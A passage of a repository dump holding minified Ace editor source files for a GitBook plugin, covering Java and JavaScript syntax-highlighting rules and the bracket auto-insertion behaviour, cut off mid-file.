r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while\",t=\"null|Infinity|NaN|undefined\",n=\"AbstractMethodError|AssertionError|ClassCircularityError|ClassFormatError|Deprecated|EnumConstantNotPresentException|ExceptionInInitializerError|IllegalAccessError|IllegalThreadStateException|InstantiationError|InternalError|NegativeArraySizeException|NoSuchFieldError|Override|Process|ProcessBuilder|SecurityManager|StringIndexOutOfBoundsException|SuppressWarnings|TypeNotPresentException|UnknownError|UnsatisfiedLinkError|UnsupportedClassVersionError|VerifyError|InstantiationException|IndexOutOfBoundsException|ArrayIndexOutOfBoundsException|CloneNotSupportedException|NoSuchFieldException|IllegalArgumentException|NumberFormatException|SecurityException|Void|InheritableThreadLocal|IllegalStateException|InterruptedException|NoSuchMethodException|IllegalAccessException|UnsupportedOperationException|Enum|StrictMath|Package|Compiler|Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|Character|Boolean|StackTraceElement|Appendable|StringBuffer|Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|StackOverflowError|OutOfMemoryError|VirtualMachineError|ArrayStoreException|ClassCastException|LinkageError|NoClassDefFoundError|ClassNotFoundException|RuntimeException|Exception|ThreadDeath|Error|Throwable|System|ClassLoader|Cloneable|Class|CharSequence|Comparable|String|Object\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"lparen\",regex:\"[[({]\"},{token:\"rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.JavaHighlightRules=o}),define(\"ace/mode/java\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/java_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./java_highlight_rules\").JavaHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/java\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-javascript.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return 